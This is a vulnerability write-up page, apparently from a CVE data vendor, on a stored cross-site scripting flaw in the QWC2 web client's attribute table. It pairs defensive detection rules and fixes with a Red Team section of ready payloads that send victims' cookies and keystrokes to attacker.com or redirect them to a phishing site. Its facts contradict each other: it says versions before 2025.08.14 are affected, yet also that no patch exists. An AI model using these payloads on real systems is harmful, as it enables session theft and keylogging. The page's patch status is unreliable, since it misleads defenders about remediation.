CVE-2025-11183
Executive Summary
CVE-2025-11183 is a stored Cross-Site Scripting (XSS) vulnerability discovered in the attribute table component of QGIS QWC2 (QGIS Web Client 2). An authenticated attacker with the ability to edit or create features can inject arbitrary JavaScript code into attribute fields. When other users view the attribute table, the injected script executes in their browser session, potentially leading to session hijacking, data exfiltration, or further compromise within the QWC2 application context.
The vulnerability affects all versions of QWC2 prior to the 2025.08.14 release. No public proof-of-concept (PoC) or exploit code has been released at this time. The vendor has not issued an official patch, and the vulnerability remains unpatched in the wild.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). QWC2 is a standalone web application typically deployed via Docker or manual setup. However, organizations using containerized deployments should verify the integrity of their QWC2 images and ensure they are not using vulnerable versions.
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (NVD) | Adjusted Score: 5.4 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability is exploitable over the network.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – An attacker must have an authenticated account with feature creation/edit permissions.
- User Interaction (UI): Required – The victim must view the malicious attribute table entry.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify data.
- Availability (A): None – No direct impact on availability.
Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the potential for session hijacking and lateral movement within the QWC2 application makes this a significant concern for organizations using QWC2 for sensitive geospatial data.
Deep Dive & Mechanics
The vulnerability resides in the attribute table rendering logic of QWC2. When a user views the attribute table for a layer, the application fetches feature data from the QGIS server and renders it in an HTML table. The application fails to properly sanitize or encode attribute values before inserting them into the DOM.
Attack Flow:
- An authenticated attacker with edit permissions on a layer creates or modifies a feature.
- The attacker inserts a malicious payload into an attribute field, e.g.,
<img src=x onerror=alert('XSS')>. - The payload is stored in the underlying data store (e.g., PostgreSQL/PostGIS).
- When another user opens the attribute table for that layer, the QWC2 frontend fetches the feature data and renders the malicious attribute value without sanitization.
- The injected JavaScript executes in the victim's browser context, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.
Root Cause: The attribute table component uses innerHTML or similar DOM manipulation methods without prior sanitization. The application does not escape HTML entities in attribute values.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// QWC2 attribute table rendering (simplified)
function renderAttributeTable(features) {
const tableBody = document.getElementById('attribute-table-body');
features.forEach(feature => {
const row = document.createElement('tr');
feature.attributes.forEach(attr => {
const cell = document.createElement('td');
// VULNERABLE: Direct assignment of unsanitized attribute value
cell.innerHTML = attr.value;
row.appendChild(cell);
});
tableBody.appendChild(row);
});
}
Patched Code (Conceptual):
// Patched version using textContent to prevent XSS
function renderAttributeTable(features) {
const tableBody = document.getElementById('attribute-table-body');
features.forEach(feature => {
const row = document.createElement('tr');
feature.attributes.forEach(attr => {
const cell = document.createElement('td');
// PATCHED: Use textContent to safely set text
cell.textContent = attr.value;
row.appendChild(cell);
});
tableBody.appendChild(row);
});
}
The patched version uses textContent instead of innerHTML, which automatically escapes HTML entities and prevents script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running instance of QWC2 < 2025.08.14
- An authenticated user account with permissions to create or edit features on a layer
- A victim user who will view the attribute table
Exploitation Steps:
- Log in to QWC2 with the attacker account.
- Navigate to a layer where you have edit permissions.
- Create a new feature or edit an existing one.
- In any text attribute field, inject the following payload:
<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)> - Save the feature.
- Wait for a victim user to open the attribute table for that layer.
- The victim's browser will execute the payload, sending their cookies to the attacker's server.
Alternative Payloads:
- Session hijacking:
<script>new Image().src='https://attacker.com/steal?cookie='+document.cookie;</script> - Keylogging:
<script>document.onkeypress=function(e){new Image().src='https://attacker.com/key?k='+e.key;}</script> - Phishing:
<script>window.location='https://phishing-site.com/login?redirect='+window.location;</script>
Blue Team
Detection & Response:
- Monitor for unusual attribute values containing HTML tags or JavaScript code in database logs.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact:
Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self' data:; - Enable Web Application Firewall (WAF) rules to block common XSS payloads.
- Conduct regular code reviews of custom QWC2 deployments.
- Restrict attribute edit permissions to trusted users only.
Lab Setup for Testing:
- Deploy a vulnerable QWC2 instance using Docker:
docker run -d -p 8080:80 --name qwc2-vuln qwc2:2025.08.13 - Configure a QGIS server backend with a sample layer.
- Create two test users: one with edit permissions (attacker) and one with view permissions (victim).
- Use browser developer tools to monitor network requests and cookie behavior.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to unknown or suspicious domains from QWC2 clients
- Requests containing
document.cookieorlocalStoragein query parameters - Unusual
Refererheaders pointing to QWC2 attribute table URLs
Host IOCs:
- Log entries in QGIS server logs showing attribute values with HTML tags
- Browser console errors related to Content Security Policy violations
- Unexpected JavaScript execution in browser developer tools
File IOCs:
- Modified QWC2 source files (if attacker gained file access)
- Suspicious entries in the geospatial database attribute columns containing
<script>or<img onerror>patterns
Detection Engineering
YARA Rule
rule Detect_QWC2_XSS_Payload {
meta:
description = "Detects XSS payloads in QWC2 attribute table data"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-11183"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /<img[^>]*onerror\s*=[^>]*>/i
$xss3 = /<svg[^>]*onload\s*=[^>]*>/i
$xss4 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: QWC2 Attribute Table XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS payloads in QWC2 attribute table requests
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: accesslog
detection:
selection:
cs-uri-query|contains:
- '<script'
- '<img'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in attribute fields (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-11183 QWC2 XSS Payload in Attribute Table";
flow:to_server,established;
content:"GET"; http_method;
content:"/qwc2/"; http_uri;
pcre:"/(<script|<img[^>]*onerror|<svg[^>]*onload|javascript:)/i";
sid:1000001;
rev:1;
reference:cve,2025-11183;
classtype:web-application-attack;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade QWC2 to version 2025.08.14 or later if a patched version becomes available.
- Apply a WAF rule to block XSS payloads in attribute table requests.
- Restrict edit permissions to only trusted users.
- Implement CSP headers as described in the Blue Team section.
Long-Term Fixes:
- Sanitize all user input on the server side before storing in the database.
- Use output encoding (e.g.,
textContentinstead ofinnerHTML) in the frontend. - Conduct regular security audits of QWC2 deployments.
- Monitor vendor advisories for official patches.
Workaround: If upgrading is not immediately possible, disable the attribute table feature for untrusted layers or implement a reverse proxy that filters XSS patterns.
Valters IT